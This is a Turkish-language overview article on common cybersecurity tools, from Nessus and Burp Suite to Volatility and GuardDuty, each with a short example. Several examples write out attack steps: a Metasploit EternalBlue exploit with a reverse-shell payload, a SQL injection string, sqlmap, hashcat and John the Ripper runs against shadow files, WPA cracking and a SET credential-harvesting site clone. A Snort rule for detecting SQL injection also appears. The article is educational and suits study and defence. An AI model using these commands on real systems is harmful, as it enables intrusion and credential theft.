Siber Güvenliğin En Popüler Araçları ve Uygulama Alanları

Siber güvenlik uzmanları olarak bizler, sistemleri korumak (Mavi Takım) veya potansiyel zafiyetleri tespit etmek (Kırmızı Takım) için çeşitli araçlardan yararlanırız. Doğru aracı doğru zamanda kullanmak, bir ihlali önlemek ile felaketi yaşamak arasındaki farkı yaratabilir.

Bu makalede, siber güvenlik dünyasında en sık kullanılan araçların bazılarını 9 temel kategori altında inceleyecek, öne çıkanların özelliklerine ve pratik kullanım senaryolarına göz atacağız.

1. Zafiyet Tarama (Vulnerability Scanning)

Ağları, sistemleri ve uygulamaları bilinen zafiyetlere karşı proaktif olarak tarayarak güvenlik duruşunu değerlendiren süreçtir.

• Nessus:
  • Özellikleri: Sektör standardı olarak kabul edilir. Geniş bir zafiyet veritabanına (plugin’ler) sahiptir. Kapsamlı raporlama, uyumluluk denetimleri (PCI-DSS, HIPAA vb.) ve sezgisel bir web arayüzü sunar.
  • Örnek Kullanım: Bir siber güvenlik uzmanı, şirketin iç ağına yeni eklenen 10 sunucunun temel güvenlik taramasını yapmak ister. Nessus arayüzünden yeni bir tarama oluşturur, hedef IP aralığını girer ve “Basic Network Scan” şablonunu seçer. Tarama bittiğinde, Nessus her sunucu için kritik, yüksek, orta ve düşük seviyeli zafiyetleri listeleyen, CVE numaraları ve çözüm önerileri içeren detaylı bir rapor sunar.
• OpenVAS:
  • Özellikleri: Nessus’un açık kaynak kodlu ve ücretsiz bir alternatifidir. Geniş ve sürekli güncellenen bir topluluk destekli zafiyet testleri (NVTs) veritabanına sahiptir.
  • Örnek Kullanım: Kısıtlı bütçeye sahip bir KOBİ, web sunucusunun genel zafiyetlerini taramak istiyor. OpenVAS’ı kurduktan sonra, web sunucusunun IP adresini hedef olarak belirler ve tam tarama başlatır. Sonuçlar, sunucudaki güncel olmayan yazılımları veya yanlış yapılandırmaları ortaya çıkarır.

2. Web Uygulama Değerlendirmesi (Web-App Assessment)

Web uygulamalarındaki SQL Injection, XSS (Cross-Site Scripting), CSRF gibi zafiyetleri bulmaya odaklanır.

• OWASP ZAP (Zed Attack Proxy):
  • Özellikleri: OWASP tarafından geliştirilen, popüler ve ücretsiz bir araçtır. Hem otomatik tarayıcı hem de manuel testler için bir “man-in-the-middle” proxy olarak çalışır. Geniş bir eklenti desteği vardır.
  • Örnek Kullanım: Bir geliştirici, yazdığı web uygulamasını production’a çıkmadan önce test etmek istiyor. Tarayıcısını ZAP proxy’si üzerinden çalışacak şekilde ayarlar. Uygulamanın tüm fonksiyonlarını manuel olarak kullanır. Bu sırada ZAP, arka planda tüm istek ve cevapları yakalar (pasif tarama). Ardından “Active Scan” özelliğini kullanarak ZAP’in bilinen saldırı vektörlerini uygulamaya göndermesini sağlar ve bulunan zafiyetleri raporlar.
• Burp Suite:
  • Özellikleri: Web uygulama sızma testleri için endüstri standardıdır. Ücretsiz bir “Community” ve daha gelişmiş özellikler sunan “Professional” sürümü bulunur. Proxy, Scanner, Intruder, Repeater gibi güçlü modüllere sahiptir.
  • Örnek Kullanım: Bir sızma testi uzmanı, bir e-ticaret sitesinin “indirim kodu” alanında bir zafiyet arıyor. Burp Suite’i proxy olarak ayarlayıp bir ürün satın alma isteğini yakalar. Bu isteği “Repeater” modülüne gönderir. Burada, indirim kodu parametresini manuel olarak değiştirerek (örn: ' OR 1=1--), bir SQL Injection zafiyeti olup olmadığını anlık olarak test eder.

3. Sömürü (Exploitation)

Bir zafiyetin tespit edildikten sonra, bu zafiyeti kullanarak sisteme yetkili veya yetkisiz erişim sağlama aşamasıdır.

• Metasploit Framework:
  • Özellikleri: Dünyanın en popüler sızma testi ve exploit geliştirme platformudur. Binlerce exploit, payload (saldırı sonrası çalıştırılacak kod) ve yardımcı modül içerir. Hem Kırmızı Takım hem de Mavi Takım tarafından zafiyetleri doğrulamak için kullanılır.
  • Örnek Kullanım: Bir uzman, Nessus taramasında Windows 7 bir makinede MS17-010 (EternalBlue) zafiyetini buldu. Metasploit konsolunu (msfconsole) açar ve şu adımları izler:Bashuse exploit/windows/smb/ms17_010_eternalblue # Zafiyete uygun exploit seçilir set RHOSTS 192.168.1.50 # Hedef IP adresi ayarlanır set PAYLOAD windows/x64/meterpreter/reverse_tcp # Payload seçilir set LHOST 192.168.1.10 # Saldırganın IP'si ayarlanır exploit # Saldırı başlatılır Başarılı olursa, uzman hedef sistemde bir komut satırı (Meterpreter) oturumu elde eder.
• SQLMap:
  • Özellikleri: SQL Injection zafiyetlerini otomatik olarak tespit etme ve sömürme aracıdır. Veritabanlarını listeleme, tabloları, kolonları ve verileri çekme, hatta bazen hedef sistemde komut çalıştırma yeteneğine sahiptir.
  • Örnek Kullanım: Bir web sitesinin URL’sinde SQL Injection şüphesi var. Uzman, terminalde şu komutu çalıştırır:Bashsqlmap -u "http://example.com/products.php?id=5" --dbs Bu komut, id parametresinde SQL Injection arar. Eğer başarılı olursa, hedef sunucudaki tüm veritabanlarının isimlerini listeler.

4. Parola Kırma (Password Cracking)

Ele geçirilen parola özetlerini (hash) veya kimlik doğrulama sistemlerini çeşitli tekniklerle (Brute-Force, Dictionary Attack vb.) kırarak orijinal parolayı elde etme sürecidir.

• Hashcat:
  • Özellikleri: Dünyanın en hızlı parola kırma aracı olarak bilinir. GPU’nun (ekran kartı) paralel işlem gücünü kullanarak saniyede milyarlarca deneme yapabilir. Yüzlerce farklı hash algoritmasını destekler.
  • Örnek Kullanım: Bir sızıntı sonucu elde edilen MD5 hash’lerini kırmak gerekiyor. İçinde potansiyel şifrelerin olduğu bir kelime listesi (wordlist.txt) ve hash’lerin olduğu bir dosya (hashes.txt) var.Bash# -m 0: MD5 hash türünü belirtir # -a 0: Dictionary Attack modunu belirtir hashcat -m 0 -a 0 hashes.txt wordlist.txt
• John the Ripper (JTR):
  • Özellikleri: En eski ve en bilinen parola kırıcılardan biridir. CPU odaklı çalışır, çok çeşitli hash türlerini otomatik olarak tanıyabilir ve esnek kural tabanlı saldırılar (örn: kelimelerin sonuna sayı ekleme) yapabilir.
  • Örnek Kullanım: Bir Linux sisteminden ele geçirilen /etc/shadow dosyasındaki parolaları kırmak için:Bashjohn --wordlist=rockyou.txt shadow.txt

5. Kablosuz Ağ Saldırıları (Wireless Hacking)

WEP, WPA/WPA2/WPA3 gibi kablosuz ağ güvenlik protokollerindeki zafiyetleri test etmeye ve kırmaya odaklanır.

• Aircrack-ng Suite:
  • Özellikleri: Kablosuz ağ güvenliği denetimi için bir araç setidir. airodump-ng ile ağ trafiğini yakalama, aireplay-ng ile paket enjekte etme ve aircrack-ng ile WEP/WPA anahtarlarını kırma gibi temel bileşenleri vardır.
  • Örnek Kullanım: Bir WPA2 ağının güvenliğini test etmek için önce çevredeki ağlar dinlenir ve hedef ağdaki bir istemcinin “4-way handshake” paketleri yakalanır. Ardından bu yakalanan paketler bir kelime listesi ile kaba kuvvet saldırısına tabi tutulur:Bash# .cap uzantılı dosyada yakalanan handshake paketi var aircrack-ng -w wordlist.txt -b 00:11:22:33:44:55 captured_packets.cap
• Wireshark:
  • Özellikleri: Her ne kadar genel bir ağ protokol analiz aracı olsa da, kablosuz ağ saldırılarında vazgeçilmezdir. Yakalanan 802.11 paketlerini (beacon, probe, deauthentication frames) detaylıca incelemeye olanak tanır.
  • Örnek Kullanım: Bir uzman, ağdaki anormallikleri analiz etmek için Wireshark ile kablosuz trafiği yakalar. wlan.fc.type_subtype == 0x0c filtresini kullanarak ağa gönderilen tüm “Deauthentication” çerçevelerini görür ve olası bir “Wi-Fi Jamming” veya “Evil Twin” saldırısını tespit edebilir.

6. Ağ Savunması (Network Defence)

Ağ trafiğini izleyerek, analiz ederek ve kontrol ederek kötü amaçlı aktiviteleri tespit etme ve engelleme üzerine kurulu araçlardır.

• Snort / Suricata:
  • Özellikleri: İkisi de güçlü, kural tabanlı Saldırı Tespit ve Önleme Sistemleridir (IDS/IPS). Snort daha eski ve köklüyken, Suricata daha modern, çoklu iş parçacığı (multi-threading) desteği sayesinde daha yüksek performans sunar.
  • Örnek Kural (Snort): Basit bir SQL Injection denemesini tespit etmek için şöyle bir kural yazılabilir:Calert tcp any any -> $HOME_NET 80 (msg:"WEB-ATTACK SQL injection attempt"; content:"' or 1=1"; sid:1000001; rev:1;) Bu kural, 80 numaralı porta (HTTP) gelen herhangi bir trafikte ' or 1=1 ifadesi geçerse bir uyarı (alert) üretir.
• pfSense:
  • Özellikleri: FreeBSD tabanlı, açık kaynak kodlu, güçlü bir güvenlik duvarı (firewall) ve yönlendirici (router) yazılımıdır. Kullanıcı dostu web arayüzü, VPN, yük dengeleme ve paket filtreleme gibi sayısız özelliğe sahiptir.
  • Örnek Kullanım: Bir ofis ağını dış dünyadan gelen istenmeyen bağlantılara karşı korumak için pfSense kullanılır. Web arayüzünden, dışarıdan (WAN) içeriye (LAN) doğru olan tüm trafiği varsayılan olarak engellemek, ancak sadece belirli servislere (örn: VPN için 1194 UDP portu) izin vermek için basit bir kural oluşturulur.
• Security Onion:
  • Özellikleri: Tehdit avcılığı, ağ güvenliği izleme (NSM) ve log yönetimi için tasarlanmış, hepsi bir arada bir Linux dağıtımıdır. İçerisinde Suricata, Zeek, Wazuh, Elasticsearch gibi birçok aracı entegre olarak sunar.
  • Örnek Kullanım: Bir analist, Security Onion konsolunda Suricata’dan gelen “Potansiyel Kötü Amaçlı Yazılım İndirme” uyarısını görür. Aynı arayüz üzerinden tek tıkla o uyarıya ait tam paket kaydına (PCAP) ulaşır, Wazuh’dan o IP’ye sahip uç noktadaki logları inceler ve tehdidin ciddiyetini hızla analiz eder.

7. Adli Bilişim (Forensics)

Bir siber güvenlik olayı yaşandıktan sonra, olayın nedenini, kapsamını ve etkisini anlamak için dijital kanıtları toplama, koruma ve analiz etme bilimidir.

• Autopsy / The Sleuth Kit:
  • Özellikleri: The Sleuth Kit, disk imajları ve dosya sistemlerini analiz etmek için kullanılan bir komut satırı araçları kütüphanesidir. Autopsy ise bu kütüphane için yazılmış, güçlü ve kullanıcı dostu bir grafik arayüzdür. Zaman tüneli analizi, anahtar kelime arama, silinmiş dosyaları kurtarma gibi özellikler sunar.
  • Örnek Kullanım: Bir çalışanın dizüstü bilgisayarının ele geçirildiğinden şüpheleniliyor. Önce diskin birebir kopyası (imajı) alınır. Bu imaj dosyası Autopsy’ye yüklenir. Analist, “Timeline” özelliğini kullanarak olay saatindeki dosya aktivitelerini inceler veya “Keyword Search” ile şüpheli dosya isimlerini (örn: mimikatz.exe) aratır.
• Volatility Framework:
  • Özellikleri: Bilgisayarın RAM’inden alınan imajları (memory dump) analiz etmek için kullanılan en güçlü açık kaynak kodlu araçtır. Sistem kapatıldığında kaybolacak olan çalışan işlemler, ağ bağlantıları, komut satırı geçmişi gibi kritik verileri ortaya çıkarabilir.
  • Örnek Kullanım: Bir sunucuda “fileless” (dosyasız) bir zararlı yazılım çalıştığından şüpheleniliyor. Sunucunun RAM imajı alındıktan sonra Volatility ile analiz edilir:Bash# Önce imajın profilini (işletim sistemi) belirle vol.py -f server_mem.raw imageinfo # Belirlenen profile göre çalışan işlemleri listele vol.py -f server_mem.raw --profile=Win2012R2x64 pslist Bu komut, diskte iz bırakmayan ancak o an RAM’de çalışan zararlı işlemi açığa çıkarabilir.

8. Sosyal Mühendislik (Social Engineering)

Teknik zafiyetlerden ziyade insan psikolojisini hedef alarak bilgi sızdırma veya erişim elde etme saldırılarıdır. Bu araçlar, bu tür saldırıları simüle ederek çalışan farkındalığını ölçmek için kullanılır.

• GoPhish:
  • Özellikleri: Oltalama (phishing) kampanyaları düzenlemek için tasarlanmış açık kaynak kodlu bir platformdur. Gerçekçi e-posta şablonları, sahte giriş sayfaları oluşturmaya ve kimlerin oltalama e-postasını açtığını, linke tıkladığını veya bilgilerini girdiğini takip etmeye olanak tanır.
  • Örnek Kullanım: Bir kurum, çalışanlarının oltalama saldırılarına karşı farkındalığını ölçmek istiyor. GoPhish kullanarak, popüler bir hizmetin parola sıfırlama e-postasını taklit eden bir kampanya oluşturulur. E-posta tüm personele gönderilir. GoPhish panosundan, kaç kişinin linke tıkladığı ve sahte sayfaya kullanıcı adı/parolasını girdiği anlık olarak takip edilir. Sonuçlar, eğitim ihtiyacını belirlemek için kullanılır.
• SET (Social-Engineering Toolkit):
  • Özellikleri: Metasploit’i de geliştiren ekip tarafından yazılmış, Python tabanlı bir araçtır. Oltalama, sahte SMS gönderme, QR kod saldırıları gibi çok çeşitli sosyal mühendislik saldırı vektörlerini menü tabanlı basit bir arayüzle sunar.
  • Örnek Kullanım: Bir sızma testinde, hedefin web sitesinin birebir kopyası oluşturularak bir “Credential Harvester” (kimlik bilgisi avcısı) saldırısı planlanır. SET çalıştırılır ve menüden Social-Engineering Attacks > Website Attack Vectors > Credential Harvester Attack > Site Cloner adımları izlenerek hedef site klonlanır. Kullanıcılara gönderilen linke tıklayanlar, sahte siteye yönlendirilir ve girdikleri tüm bilgiler saldırganın ekranına düşer.

9. Bulut Güvenliği (Cloud Security)

AWS, Azure, GCP gibi bulut platformlarına özel güvenlik tehditlerini (yanlış yapılandırma, IAM zafiyetleri, API güvenliği) yönetmeye odaklanan araçlardır.

• AWS GuardDuty:
  • Özellikleri: AWS için akıllı bir tehdit tespit servisidir. Makine öğrenmesi ve anomali tespiti kullanarak VPC Akış Logları, CloudTrail ve DNS logları gibi veri kaynaklarını sürekli analiz eder. Şüpheli aktiviteleri (örn: bir EC2 sunucusunun bilinen bir C2 sunucusu ile konuşması) otomatik olarak tespit eder.
  • Örnek Kullanım: Bir şirketin AWS hesabında, normalde sadece Türkiye’den erişilen bir S3 bucket’ına aniden Çin’den yoğun bir erişim başlar. GuardDuty, bu anormal davranışı (anomali tespiti) ve potansiyel olarak kötü amaçlı bir IP’den geldiğini (tehdit istihbaratı) birleştirerek “UnauthorizedAccess:S3/MaliciousIPCaller” gibi bir bulgu oluşturur ve güvenlik ekibine uyarı gönderir.
• Azure Security Center (Yeni adıyla Microsoft Defender for Cloud):
  • Özellikleri: Azure ortamı için bütünleşik bir güvenlik yönetimi platformudur. Hem Bulut Güvenliği Duruş Yönetimi (CSPM) hem de Bulut İş Yükü Koruma Platformu (CWPP) yetenekleri sunar. Yanlış yapılandırmaları tespit eder, mevzuat uyumluluğunu denetler ve güvenlik önerileri sunar.
  • Örnek Kullanım: Bir yönetici, Azure portalında Microsoft Defender for Cloud panosunu açar. Pano, şirketin “Güvenlik Puanını” gösterir ve puanı artırmak için öneriler sunar. Örneğin, “Sanal makinelerinizde disk şifrelemesi etkinleştirilmelidir” veya “Veritabanlarınıza erişim herkese açık, kısıtlanmalıdır” gibi kritik uyarılarda bulunur ve tek tıkla düzeltme (remediation) adımlarını gösterir.

Bu listedeki araçlar, siber güvenlik uzmanlarının cephaneliğindeki en güçlü silahlardan sadece birkaçıdır. Unutulmamalıdır ki, en gelişmiş araç bile onu kullanan uzmanın bilgisi, sezgisi ve tecrübesi olmadan bir işe yaramaz.

Teknoloji sürekli değişirken, bu araçları etkin bir şekilde kullanma ve temel prensipleri anlama yeteneği, siber güvenlik alanında başarının anahtarı olmaya devam edecektir.